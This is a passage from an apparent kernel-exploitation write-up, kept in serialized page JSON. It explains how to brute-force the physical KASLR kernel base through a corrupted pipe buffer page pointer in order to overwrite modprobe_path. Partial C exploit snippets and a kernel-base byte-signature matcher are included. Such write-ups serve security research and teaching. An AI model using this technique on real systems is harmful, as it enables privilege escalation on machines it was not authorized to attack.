directly.",{"type":24,"tag":85,"props":8023,"children":8025},{"id":8024},"bruteforce-physical-kernel-base",[8026],{"type":29,"value":8027},"Bruteforce physical kernel base",{"type":24,"tag":25,"props":8029,"children":8030},{},[8031,8033,8039,8041,8046,8048,8054],{"type":29,"value":8032},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":24,"tag":135,"props":8034,"children":8036},{"className":8035},[],[8037],{"type":29,"value":8038},"modprobe_path",{"type":29,"value":8040},". Keep in mind that simply searching page by page from the start of ",{"type":24,"tag":135,"props":8042,"children":8044},{"className":8043},[],[8045],{"type":29,"value":8003},{"type":29,"value":8047}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":24,"tag":135,"props":8049,"children":8051},{"className":8050},[],[8052],{"type":29,"value":8053},"PHYSICAL_ALIGN",{"type":29,"value":8055}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":24,"tag":261,"props":8057,"children":8059},{"className":3859,"code":8058,"language":3861,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[8060],{"type":24,"tag":135,"props":8061,"children":8062},{"__ignoreMap":7},[8063,8070,8078,8086,8111,8146,8166,8206,8213,8258,8292,8320,8357,8364,8411,8418,8448,8461,8527,8535,8547,8555,8562,8569,8596,8603,8623,8635,8642,8649,8656],{"type":24,"tag":271,"props":8064,"children":8065},{"class":273,"line":274},[8066],{"type":24,"tag":271,"props":8067,"children":8068},{"style":288},[8069],{"type":29,"value":1690},{"type":24,"tag":271,"props":8071,"children":8072},{"class":273,"line":284},[8073],{"type":24,"tag":271,"props":8074,"children":8075},{"style":288},[8076],{"type":29,"value":8077},"// Bruteforce phys-KASLR\n",{"type":24,"tag":271,"props":8079,"children":8080},{"class":273,"line":294},[8081],{"type":24,"tag":271,"props":8082,"children":8083},{"style":288},[8084],{"type":29,"value":8085}," uint64_t kernel_base;\n",{"type":24,"tag":271,"props":8087,"children":8088},{"class":273,"line":303},[8089,8094,8099,8103,8107],{"type":24,"tag":271,"props":8090,"children":8091},{"style":278},[8092],{"type":29,"value":8093}," bool",{"type":24,"tag":271,"props":8095,"children":8096},{"style":288},[8097],{"type":29,"value":8098}," found ",{"type":24,"tag":271,"props":8100,"children":8101},{"style":624},[8102],{"type":29,"value":762},{"type":24,"tag":271,"props":8104,"children":8105},{"style":278},[8106],{"type":29,"value":1877},{"type":24,"tag":271,"props":8108,"children":8109},{"style":288},[8110],{"type":29,"value":1069},{"type":24,"tag":271,"props":8112,"children":8113},{"class":273,"line":312},[8114,8119,8124,8129,8133,8138,8142],{"type":24,"tag":271,"props":8115,"children":8116},{"style":278},[8117],{"type":29,"value":8118}," uint8_t",{"type":24,"tag":271,"props":8120,"children":8121},{"style":630},[8122],{"type":29,"value":8123}," data",{"type":24,"tag":271,"props":8125,"children":8126},{"style":288},[8127],{"type":29,"value":8128},"[PAGE_SIZE] ",{"type":24,"tag":271,"props":8130,"children":8131},{"style":624},[8132],{"type":29,"value":762},{"type":24,"tag":271,"props":8134,"children":8135},{"style":288},[8136],{"type":29,"value":8137}," {",{"type":24,"tag":271,"props":8139,"children":8140},{"style":477},[8141],{"type":29,"value":4121},{"type":24,"tag":271,"props":8143,"children":8144},{"style":288},[8145],{"type":29,"value":4006},{"type":24,"tag":271,"props":8147,"children":8148},{"class":273,"line":321},[8149,8153,8157,8162],{"type":24,"tag":271,"props":8150,"children":8151},{"style":598},[8152],{"type":29,"value":5151},{"type":24,"tag":271,"props":8154,"children":8155},{"style":288},[8156],{"type":29,"value":606},{"type":24,"tag":271,"props":8158,"children":8159},{"style":378},[8160],{"type":29,"value":8161},"\"[*] bruteforce phys-KASLR\"",{"type":24,"tag":271,"props":8163,"children":8164},{"style":288},[8165],{"type":29,"value":1155},{"type":24,"tag":271,"props":8167,"children":8168},{"class":273,"line":330},[8169,8173,8177,8181,8185,8189,8193,8198,8202],{"type":24,"tag":271,"props":8170,"children":8171},{"style":749},[8172],{"type":29,"value":4149},{"type":24,"tag":271,"props":8174,"children":8175},{"style":288},[8176],{"type":29,"value":1357},{"type":24,"tag":271,"props":8178,"children":8179},{"style":278},[8180],{"type":29,"value":5279},{"type":24,"tag":271,"props":8182,"children":8183},{"style":288},[8184],{"type":29,"value":4162},{"type":24,"tag":271,"props":8186,"children":8187},{"style":624},[8188],{"type":29,"value":762},{"type":24,"tag":271,"props":8190,"children":8191},{"style":477},[8192],{"type":29,"value":767},{"type":24,"tag":271,"props":8194,"children":8195},{"style":288},[8196],{"type":29,"value":8197},";; i",{"type":24,"tag":271,"props":8199,"children":8200},{"style":624},[8201],{"type":29,"value":834},{"type":24,"tag":271,"props":8203,"children":8204},{"style":288},[8205],{"type":29,"value":694},{"type":24,"tag":271,"props":8207,"children":8208},{"class":273,"line":339},[8209],{"type":24,"tag":271,"props":8210,"children":8211},{"style":288},[8212],{"type":29,"value":4203},{"type":24,"tag":271,"props":8214,"children":8215},{"class":273,"line":347},[8216,8221,8225,8230,8234,8239,8243,8248,8253],{"type":24,"tag":271,"props":8217,"children":8218},{"style":288},[8219],{"type":29,"value":8220}," kernel_base ",{"type":24,"tag":271,"props":8222,"children":8223},{"style":624},[8224],{"type":29,"value":762},{"type":24,"tag":271,"props":8226,"children":8227},{"style":477},[8228],{"type":29,"value":8229}," 0x40",{"type":24,"tag":271,"props":8231,"children":8232},{"style":624},[8233],{"type":29,"value":3895},{"type":24,"tag":271,"props":8235,"children":8236},{"style":288},[8237],{"type":29,"value":8238}," ((PHYSICAL_ALIGN ",{"type":24,"tag":271,"props":8240,"children":8241},{"style":624},[8242],{"type":29,"value":627},{"type":24,"tag":271,"props":8244,"children":8245},{"style":288},[8246],{"type":29,"value":8247}," i) ",{"type":24,"tag":271,"props":8249,"children":8250},{"style":624},[8251],{"type":29,"value":8252},">>",{"type":24,"tag":271,"props":8254,"children":8255},{"style":288},[8256],{"type":29,"value":8257}," PAGE_SHIFT);\n",{"type":24,"tag":271,"props":8259,"children":8260},{"class":273,"line":356},[8261,8266,8270,8274,8278,8283,8287],{"type":24,"tag":271,"props":8262,"children":8263},{"style":630},[8264],{"type":29,"value":8265}," pipebuf",{"type":24,"tag":271,"props":8267,"children":8268},{"style":288},[8269],{"type":29,"value":786},{"type":24,"tag":271,"props":8271,"children":8272},{"style":630},[8273],{"type":29,"value":7984},{"type":24,"tag":271,"props":8275,"children":8276},{"style":624},[8277],{"type":29,"value":1712},{"type":24,"tag":271,"props":8279,"children":8280},{"style":288},[8281],{"type":29,"value":8282}," vmemmap_base ",{"type":24,"tag":271,"props":8284,"children":8285},{"style":624},[8286],{"type":29,"value":1012},{"type":24,"tag":271,"props":8288,"children":8289},{"style":288},[8290],{"type":29,"value":8291}," kernel_base;\n",{"type":24,"tag":271,"props":8293,"children":8294},{"class":273,"line":365},[8295,8299,8303,8308,8312,8316],{"type":24,"tag":271,"props":8296,"children":8297},{"style":630},[8298],{"type":29,"value":8265},{"type":24,"tag":271,"props":8300,"children":8301},{"style":288},[8302],{"type":29,"value":786},{"type":24,"tag":271,"props":8304,"children":8305},{"style":630},[8306],{"type":29,"value":8307},"offset",{"type":24,"tag":271,"props":8309,"children":8310},{"style":624},[8311],{"type":29,"value":1712},{"type":24,"tag":271,"props":8313,"children":8314},{"style":477},[8315],{"type":29,"value":767},{"type":24,"tag":271,"props":8317,"children":8318},{"style":288},[8319],{"type":29,"value":1069},{"type":24,"tag":271,"props":8321,"children":8322},{"class":273,"line":374},[8323,8327,8331,8336,8340,8345,8349,8353],{"type":24,"tag":271,"props":8324,"children":8325},{"style":630},[8326],{"type":29,"value":8265},{"type":24,"tag":271,"props":8328,"children":8329},{"style":288},[8330],{"type":29,"value":786},{"type":24,"tag":271,"props":8332,"children":8333},{"style":630},[8334],{"type":29,"value":8335},"len",{"type":24,"tag":271,"props":8337,"children":8338},{"style":624},[8339],{"type":29,"value":1712},{"type":24,"tag":271,"props":8341,"children":8342},{"style":288},[8343],{"type":29,"value":8344}," PAGE_SIZE ",{"type":24,"tag":271,"props":8346,"children":8347},{"style":624},[8348],{"type":29,"value":1012},{"type":24,"tag":271,"props":8350,"children":8351},{"style":477},[8352],{"type":29,"value":824},{"type":24,"tag":271,"props":8354,"children":8355},{"style":288},[8356],{"type":29,"value":1069},{"type":24,"tag":271,"props":8358,"children":8359},{"class":273,"line":384},[8360],{"type":24,"tag":271,"props":8361,"children":8362},{"style":288},[8363],{"type":29,"value":1690},{"type":24,"tag":271,"props":8365,"children":8366},{"class":273,"line":393},[8367,8372,8376,8381,8385,8389,8394,8398,8403,8407],{"type":24,"tag":271,"props":8368,"children":8369},{"style":288},[8370],{"type":29,"value":8371}," for (",{"type":24,"tag":271,"props":8373,"children":8374},{"style":278},[8375],{"type":29,"value":3923},{"type":24,"tag":271,"props":8377,"children":8378},{"style":630},[8379],{"type":29,"value":8380}," j",{"type":24,"tag":271,"props":8382,"children":8383},{"style":624},[8384],{"type":29,"value":1712},{"type":24,"tag":271,"props":8386,"children":8387},{"style":477},[8388],{"type":29,"value":767},{"type":24,"tag":271,"props":8390,"children":8391},{"style":288},[8392],{"type":29,"value":8393},"; j ",{"type":24,"tag":271,"props":8395,"children":8396},{"style":624},[8397],{"type":29,"value":801},{"type":24,"tag":271,"props":8399,"children":8400},{"style":288},[8401],{"type":29,"value":8402}," PIPE_SPRAY; j",{"type":24,"tag":271,"props":8404,"children":8405},{"style":624},[8406],{"type":29,"value":834},{"type":24,"tag":271,"props":8408,"children":8409},{"style":288},[8410],{"type":29,"value":694},{"type":24,"tag":271,"props":8412,"children":8413},{"class":273,"line":402},[8414],{"type":24,"tag":271,"props":8415,"children":8416},{"style":288},[8417],{"type":29,"value":7545},{"type":24,"tag":271,"props":8419,"children":8420},{"class":273,"line":411},[8421,8426,8430,8434,8439,8443],{"type":24,"tag":271,"props":8422,"children":8423},{"style":598},[8424],{"type":29,"value":8425}," memset",{"type":24,"tag":271,"props":8427,"children":8428},{"style":288},[8429],{"type":29,"value":606},{"type":24,"tag":271,"props":8431,"children":8432},{"style":624},[8433],{"type":29,"value":1137},{"type":24,"tag":271,"props":8435,"children":8436},{"style":288},[8437],{"type":29,"value":8438},"data, ",{"type":24,"tag":271,"props":8440,"children":8441},{"style":477},[8442],{"type":29,"value":4121},{"type":24,"tag":271,"props":8444,"children":8445},{"style":288},[8446],{"type":29,"value":8447},", PAGE_SIZE);\n",{"type":24,"tag":271,"props":8449,"children":8450},{"class":273,"line":420},[8451,8456],{"type":24,"tag":271,"props":8452,"children":8453},{"style":278},[8454],{"type":29,"value":8455}," int",{"type":24,"tag":271,"props":8457,"children":8458},{"style":288},[8459],{"type":29,"value":8460}," count;\n",{"type":24,"tag":271,"props":8462,"children":8463},{"class":273,"line":429},[8464,8469,8474,8478,8483,8487,8492,8497,8501,8506,8510,8515,8519,8523],{"type":24,"tag":271,"props":8465,"children":8466},{"style":749},[8467],{"type":29,"value":8468}," if",{"type":24,"tag":271,"props":8470,"children":8471},{"style":288},[8472],{"type":29,"value":8473}," (count ",{"type":24,"tag":271,"props":8475,"children":8476},{"style":624},[8477],{"type":29,"value":762},{"type":24,"tag":271,"props":8479,"children":8480},{"style":598},[8481],{"type":29,"value":8482}," read",{"type":24,"tag":271,"props":8484,"children":8485},{"style":288},[8486],{"type":29,"value":606},{"type":24,"tag":271,"props":8488,"children":8489},{"style":630},[8490],{"type":29,"value":8491},"pfd",{"type":24,"tag":271,"props":8493,"children":8494},{"style":288},[8495],{"type":29,"value":8496},"[j][",{"type":24,"tag":271,"props":8498,"children":8499},{"style":477},[8500],{"type":29,"value":4121},{"type":24,"tag":271,"props":8502,"children":8503},{"style":288},[8504],{"type":29,"value":8505},"], ",{"type":24,"tag":271,"props":8507,"children":8508},{"style":624},[8509],{"type":29,"value":1137},{"type":24,"tag":271,"props":8511,"children":8512},{"style":288},[8513],{"type":29,"value":8514},"data, PAGE_SIZE) ",{"type":24,"tag":271,"props":8516,"children":8517},{"style":624},[8518],{"type":29,"value":801},{"type":24,"tag":271,"props":8520,"children":8521},{"style":477},[8522],{"type":29,"value":767},{"type":24,"tag":271,"props":8524,"children":8525},{"style":288},[8526],{"type":29,"value":694},{"type":24,"tag":271,"props":8528,"children":8529},{"class":273,"line":438},[8530],{"type":24,"tag":271,"props":8531,"children":8532},{"style":288},[8533],{"type":29,"value":8534}," {\n",{"type":24,"tag":271,"props":8536,"children":8537},{"class":273,"line":447},[8538,8543],{"type":24,"tag":271,"props":8539,"children":8540},{"style":749},[8541],{"type":29,"value":8542}," continue",{"type":24,"tag":271,"props":8544,"children":8545},{"style":288},[8546],{"type":29,"value":1069},{"type":24,"tag":271,"props":8548,"children":8549},{"class":273,"line":455},[8550],{"type":24,"tag":271,"props":8551,"children":8552},{"style":288},[8553],{"type":29,"value":8554}," }\n",{"type":24,"tag":271,"props":8556,"children":8557},{"class":273,"line":464},[8558],{"type":24,"tag":271,"props":8559,"children":8560},{"style":288},[8561],{"type":29,"value":1690},{"type":24,"tag":271,"props":8563,"children":8564},{"class":273,"line":473},[8565],{"type":24,"tag":271,"props":8566,"children":8567},{"emptyLinePlaceholder":16},[8568],{"type":29,"value":327},{"type":24,"tag":271,"props":8570,"children":8571},{"class":273,"line":483},[8572,8577,8582,8586,8591],{"type":24,"tag":271,"props":8573,"children":8574},{"style":288},[8575],{"type":29,"value":8576}," if (",{"type":24,"tag":271,"props":8578,"children":8579},{"style":3887},[8580],{"type":29,"value":8581},"is_kernel_base",{"type":24,"tag":271,"props":8583,"children":8584},{"style":288},[8585],{"type":29,"value":606},{"type":24,"tag":271,"props":8587,"children":8588},{"style":3887},[8589],{"type":29,"value":8590},"data",{"type":24,"tag":271,"props":8592,"children":8593},{"style":288},[8594],{"type":29,"value":8595},")) // [1] identify kernel base\n",{"type":24,"tag":271,"props":8597,"children":8598},{"class":273,"line":491},[8599],{"type":24,"tag":271,"props":8600,"children":8601},{"style":288},[8602],{"type":29,"value":8534},{"type":24,"tag":271,"props":8604,"children":8605},{"class":273,"line":499},[8606,8611,8615,8619],{"type":24,"tag":271,"props":8607,"children":8608},{"style":288},[8609],{"type":29,"value":8610}," found ",{"type":24,"tag":271,"props":8612,"children":8613},{"style":624},[8614],{"type":29,"value":762},{"type":24,"tag":271,"props":8616,"children":8617},{"style":278},[8618],{"type":29,"value":1717},{"type":24,"tag":271,"props":8620,"children":8621},{"style":288},[8622],{"type":29,"value":1069},{"type":24,"tag":271,"props":8624,"children":8625},{"class":273,"line":3188},[8626,8631],{"type":24,"tag":271,"props":8627,"children":8628},{"style":749},[8629],{"type":29,"value":8630}," break",{"type":24,"tag":271,"props":8632,"children":8633},{"style":288},[8634],{"type":29,"value":1069},{"type":24,"tag":271,"props":8636,"children":8637},{"class":273,"line":3247},[8638],{"type":24,"tag":271,"props":8639,"children":8640},{"style":288},[8641],{"type":29,"value":8554},{"type":24,"tag":271,"props":8643,"children":8644},{"class":273,"line":3255},[8645],{"type":24,"tag":271,"props":8646,"children":8647},{"style":288},[8648],{"type":29,"value":7574},{"type":24,"tag":271,"props":8650,"children":8651},{"class":273,"line":3263},[8652],{"type":24,"tag":271,"props":8653,"children":8654},{"emptyLinePlaceholder":16},[8655],{"type":29,"value":327},{"type":24,"tag":271,"props":8657,"children":8658},{"class":273,"line":3293},[8659],{"type":24,"tag":271,"props":8660,"children":8661},{"style":288},[8662],{"type":29,"value":1690},{"type":24,"tag":25,"props":8664,"children":8665},{},[8666,8668,8672,8674,8680,8682,8687],{"type":29,"value":8667},"Notice that at ",{"type":24,"tag":271,"props":8669,"children":8670},{},[8671],{"type":29,"value":156},{"type":29,"value":8673}," we call the ",{"type":24,"tag":135,"props":8675,"children":8677},{"className":8676},[],[8678],{"type":29,"value":8679},"is_kernel_base()",{"type":29,"value":8681}," function. This is a function based on lau's exploit ",{"type":24,"tag":271,"props":8683,"children":8684},{},[8685],{"type":29,"value":8686},"5",{"type":29,"value":8688}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":24,"tag":261,"props":8690,"children":8692},{"className":3859,"code":8691,"language":3861,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[8693],{"type":24,"tag":135,"props":8694,"children":8695},{"__ignoreMap":7},[8696,8703,8734,8741,8749,8756,8764,8836,8898,8914,8921,8929,8997,9059,9120,9182,9244,9306,9367,9428,9489,9550,9611,9626,9633,9649,9656],{"type":24,"tag":271,"props":8697,"children":8698},{"class":273,"line":274},[8699],{"type":24,"tag":271,"props":8700,"children":8701},{"style":288},[8702],{"type":29,"value":1690},{"type":24,"tag":271,"props":8704,"children":8705},{"class":273,"line":284},[8706,8711,8716,8721,8725,8730],{"type":24,"tag":271,"props":8707,"children":8708},{"style":288},[8709],{"type":29,"value":8710},"static bool is_kernel_base(",{"type":24,"tag":271,"props":8712,"children":8713},{"style":278},[8714],{"type":29,"value":8715},"unsigned",{"type":24,"tag":271,"props":8717,"children":8718},{"style":278},[8719],{"type":29,"value":8720}," char",{"type":24,"tag":271,"props":8722,"children":8723},{"style":278},[8724],{"type":29,"value":3895},{"type":24,"tag":271,"props":8726,"children":8727},{"style":630},[8728],{"type":29,"value":8729},"addr",{"type":24,"tag":271,"props":8731,"children":8732},{"style":288},[8733],{"type":29,"value":694},{"type":24,"tag":271,"props":8735,"children":8736},{"class":273,"line":294},[8737],{"type":24,"tag":271,"props":8738,"children":8739},{"style":288},[8740],{"type":29,"value":702},{"type":24,"tag":271,"props":8742,"children":8743},{"class":273,"line":303},[8744],{"type":24,"tag":271,"props":8745,"children":8746},{"style":2058},[8747],{"type":29,"value":8748}," // thanks lau :)\n",{"type":24,"tag":271,"props":8750,"children":8751},{"class":273,"line":312},[8752],{"type":24,"tag":271,"props":8753,"children":8754},{"emptyLinePlaceholder":16},[8755],{"type":29,"value":327},{"type":24,"tag":271,"props":8757,"children":8758},{"class":273,"line":321},[8759],{"type":24,"tag":271,"props":8760,"children":8761},{"style":2058},[8762],{"type":29,"value":8763}," // get-sig kernel_runtime_1\n",{"type":24,"tag":271,"props":8765,"children":8766},{"class":273,"line":330},[8767,8771,8775,8780,8785,8789,8794,8798,8802,8807,8811,8815,8819,8824,8828,8832],{"type":24,"tag":271,"props":8768,"children":8769},{"style":749},[8770],{"type":29,"value":5025},{"type":24,"tag":271,"props":8772,"children":8773},{"style":288},[8774],{"type":29,"value":1357},{"type":24,"tag":271,"props":8776,"children":8777},{"style":598},[8778],{"type":29,"value":8779},"memcmp",{"type":24,"tag":271,"props":8781,"children":8782},{"style":288},[8783],{"type":29,"value":8784},"(addr ",{"type":24,"tag":271,"props":8786,"children":8787},{"style":624},[8788],{"type":29,"value":1012},{"type":24,"tag":271,"props":8790,"children":8791},{"style":477},[8792],{"type":29,"value":8793}," 0x0",{"type":24,"tag":271,"props":8795,"children":8796},{"style":288},[8797],{"type":29,"value":158},{"type":24,"tag":271,"props":8799,"children":8800},{"style":378},[8801],{"type":29,"value":5702},{"type":24,"tag":271,"props":8803,"children":8804},{"style":5694},[8805],{"type":29,"value":8806},"\\x48\\x8d\\x25\\x51\\x3f",{"type":24,"tag":271,"props":8808,"children":8809},{"style":378},[8810],{"type":29,"value":5702},{"type":24,"tag":271,"props":8812,"children":8813},{"style":288},[8814],{"type":29,"value":158},{"type":24,"tag":271,"props":8816,"children":8817},{"style":477},[8818],{"type":29,"value":8686},{"type":24,"tag":271,"props":8820,"children":8821},{"style":288},[8822],{"type":29,"value":8823},") ",{"type":24,"tag":271,"props":8825,"children":8826},{"style":624},[8827],{"type":29,"value":5059},{"type":24,"tag":271,"props":8829,"children":8830},{"style":477},[8831],{"type":29,"value":767},{"type":24,"tag":271,"props":8833,"children":8834},{"style":624},[8835],{"type":29,"value":2275},{"type":24,"tag":271,"props":8837,"children":8838},{"class":273,"line":339},[8839,8844,8848,8852,8857,8861,8865,8870,8874,8878,8882,8886,8890,8894],{"type":24,"tag":271,"props":8840,"children":8841},{"style":598},[8842],{"type":29,"value":8843}," memcmp",{"type":24,"tag":271,"props":8845,"children":8846},{"style":288},[8847],{"type":29,"value":8784},{"type":24,"tag":271,"props":8849,"children":8850},{"style":624},[8851],{"type":29,"value":1012},{"type":24,"tag":271,"props":8853,"children":8854},{"style":477},[8855],{"type":29,"value":8856}," 0x7",{"type":24,"tag":271,"props":8858,"children":8859},{"style":288},[8860],{"type":29,"value":158},{"type":24,"tag":271,"props":8862,"children":8863},{"style":378},[8864],{"type":29,"value":5702},{"type":24,"tag":271,"props":8866,"children":8867},{"style":5694},[8868],{"type":29,"value":8869},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":24,"tag":271,"props":8871,"children":8872},{"style":378},[8873],{"type":29,"value":5702},{"type":24,"tag":271,"props":8875,"children":8876},{"style":288},[8877],{"type":29,"value":158},{"type":24,"tag":271,"props":8879,"children":8880},{"style":477},[8881],{"type":29,"value":4293},{"type":24,"tag":271,"props":8883,"children":8884},{"style":288},[8885],{"type":29,"value":8823},{"type":24,"tag":271,"props":8887,"children":8888},{"style":624},[8889],{"type":29,"value":5059},{"type":24,"tag":271,"props":8891,"children":8892},{"style":477},[8893],{"type":29,"value":767},{"type":24,"tag":271,"props":8895,"children":8896},{"style":288},[8897],{"type":29,"value":694},{"type":24,"tag":271,"props":8899,"children":8900},{"class":273,"line":347},[8901,8906,8910],{"type":24,"tag":271,"props":8902,"children":8903},{"style":749},[8904],{"type":29,"value":8905}," return",{"type":24,"tag":271,"props":8907,"children":8908},{"style":278},[8909],{"type":29,"value":1717},{"type":24,"tag":271,"props":8911,"children":8912},{"style":288},[8913],{"type":29,"value":1069},{"type":24,"tag":271,"props":8915,"children":8916},{"class":273,"line":356},[8917],{"type":24,"tag":271,"props":8918,"children":8919},{"emptyLinePlaceholder":16},[8920],{"type":29,"value":327},{"type":24,"tag":271,"props":8922,"children":8923},{"class":273,"line":365},[8924],{"type":24,"tag":271,"props":8925,"children":8926},{"style":2058},[8927],{"type":29,"value":8928}," // get-sig kernel_runtime_2\n",{"type":24,"tag":271,"props":8930,"children":8931},{"class":273,"line":374},[8932,8936,8940,8944,8948,8952,8956,8960,8964,8969,8973,8977,8981,8985,8989,8993],{"type":24,"tag":271,"props":8933,"children":8934},{"style":749},[8935],{"type":29,"value":5025},{"type":24,"tag":271,"props":8937,"children":8938},{"style":288},[8939],{"type":29,"value":1357},{"type":24,"tag":271,"props":8941,"children":8942},{"style":598},[8943],{"type":29,"value":8779},{"type":24,"tag":271,"props":8945,"children":8946},{"style":288},[8947],{"type":29,"value":8784},{"type":24,"tag":271,"props":8949,"children":8950},{"style":624},[8951],{"type":29,"value":1012},{"type":24,"tag":271,"props":8953,"children":8954},{"style":477},[8955],{"type":29,"value":8793},{"type":24,"tag":271,"props":8957,"children":8958},{"style":288},[8959],{"type":29,"value":158},{"type":24,"tag":271,"props":8961,"children":8962},{"style":378},[8963],{"type":29,"value":5702},{"type":24,"tag":271,"props":8965,"children":8966},{"style":5694},[8967],{"type":29,"value":8968},"\\xfc\\x0f\\x01\\x15",{"type":24,"tag":271,"props":8970,"children":8971},{"style":378},[8972],{"type":29,"value":5702},{"type":24,"tag":271,"props":8974,"children":8975},{"style":288},[8976],{"type":29,"value":158},{"type":24,"tag":271,"props":8978,"children":8979},{"style":477},[8980],{"type":29,"value":3365},{"type":24,"tag":271,"props":8982,"children":8983},{"style":288},[8984],{"type":29,"value":8823},{"type":24,"tag":271,"props":8986,"children":8987},{"style":624},[8988],{"type":29,"value":5059},{"type":24,"tag":271,"props":8990,"children":8991},{"style":477},[8992],{"type":29,"value":767},{"type":24,"tag":271,"props":8994,"children":8995},{"style":624},[8996],{"type":29,"value":2275},{"type":24,"tag":271,"props":8998,"children":8999},{"class":273,"line":384},[9000,9004,9008,9012,9017,9021,9025,9030,9034,9038,9043,9047,9051,9055],{"type":24,"tag":271,"props":9001,"children":9002},{"style":598},[9003],{"type":29,"value":8843},{"type":24,"tag":271,"props":9005,"children":9006},{"style":288},[9007],{"type":29,"value":8784},{"type":24,"tag":271,"props":9009,"children":9010},{"style":624},[9011],{"type":29,"value":1012},{"type":24,"tag":271,"props":9013,"children":9014},{"style":477},[9015],{"type":29,"value":9016}," 0x8",{"type":24,"tag":271,"props":9018,"children":9019},{"style":288},[9020],{"type":29,"value":158},{"type":24,"tag":271,"props":9022,"children":9023},{"style":378},[9024],{"type":29,"value":5702},{"type":24,"tag":271,"props":9026,"children":9027},{"style":5694},[9028],{"type":29,"value":9029},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":24,"tag":271,"props":9031,"children":9032},{"style":378},[9033],{"type":29,"value":5702},{"type":24,"tag":271,"props":9035,"children":9036},{"style":288},[9037],{"type":29,"value":158},{"type":24,"tag":271,"props":9039,"children":9040},{"style":477},[9041],{"type":29,"value":9042},"12",{"type":24,"tag":271,"props":9044,"children":9045},{"style":288},[9046],{"type":29,"value":8823},{"type":24,"tag":271,"props":9048,"children":9049},{"style":624},[9050],{"type":29,"value":5059},{"type":24,"tag":271,"props":9052,"children":9053},{"style":477},[9054],{"type":29,"value":767},{"type":24,"tag":271,"props":9056,"children":9057},{"style":624},[9058],{"type":29,"value":2275},{"type":24,"tag":271,"props":9060,"children":9061},{"class":273,"line":393},[9062,9066,9070,9074,9079,9083,9087,9092,9096,9100,9104,9108,9112,9116],{"type":24,"tag":271,"props":9063,"children":9064},{"style":598},[9065],{"type":29,"value":8843},{"type":24,"tag":271,"props":9067,"children":9068},{"style":288},[9069],{"type":29,"value":8784},{"type":24,"tag":271,"props":9071,"children":9072},{"style":624},[9073],{"type":29,"value":1012},{"type":24,"tag":271,"props":9075,"children":9076},{"style":477},[9077],{"type":29,"value":9078}," 0x18",{"type":24,"tag":271,"props":9080,"children":9081},{"style":288},[9082],{"type":29,"value":158},{"type":24,"tag":271,"props":9084,"children":9085},{"style":378},[9086],{"type":29,"value":5702},{"type":24,"tag":271,"props":9088,"children":9089},{"style":5694},[9090],{"type":29,"value":9091},"\\x89\\xde\\x8b\\x0d",{"type":24,"tag":271,"props":9093,"children":9094},{"style":378},[9095],{"type":29,"value":5702},{"type":24,"tag":271,"props":9097,"children":9098},{"style":288},[9099],{"type":29,"value":158},{"type":24,"tag":271,"props":9101,"children":9102},{"style":477},[9103],{"type":29,"value":3365},{"type":24,"tag":271,"props":9105,"children":9106},{"style":288},[9107],{"type":29,"value":8823},{"type":24,"tag":271,"props":9109,"children":9110},{"style":624},[9111],{"type":29,"value":5059},{"type":24,"tag":271,"props":9113,"children":9114},{"style":477},[9115],{"type":29,"value":767},{"type":24,"tag":271,"props":9117,"children":9118},{"style":624},[9119],{"type":29,"value":2275},{"type":24,"tag":271,"props":9121,"children":9122},{"class":273,"line":402},[9123,9127,9131,9135,9140,9144,9148,9153,9157,9161,9166,9170,9174,9178],{"type":24,"tag":271,"props":9124,"children":9125},{"style":598},[9126],{"type":29,"value":8843},{"type":24,"tag":271,"props":9128,"children":9129},{"style":288},[9130],{"type":29,"value":8784},{"type":24,"tag":271,"props":9132,"children":91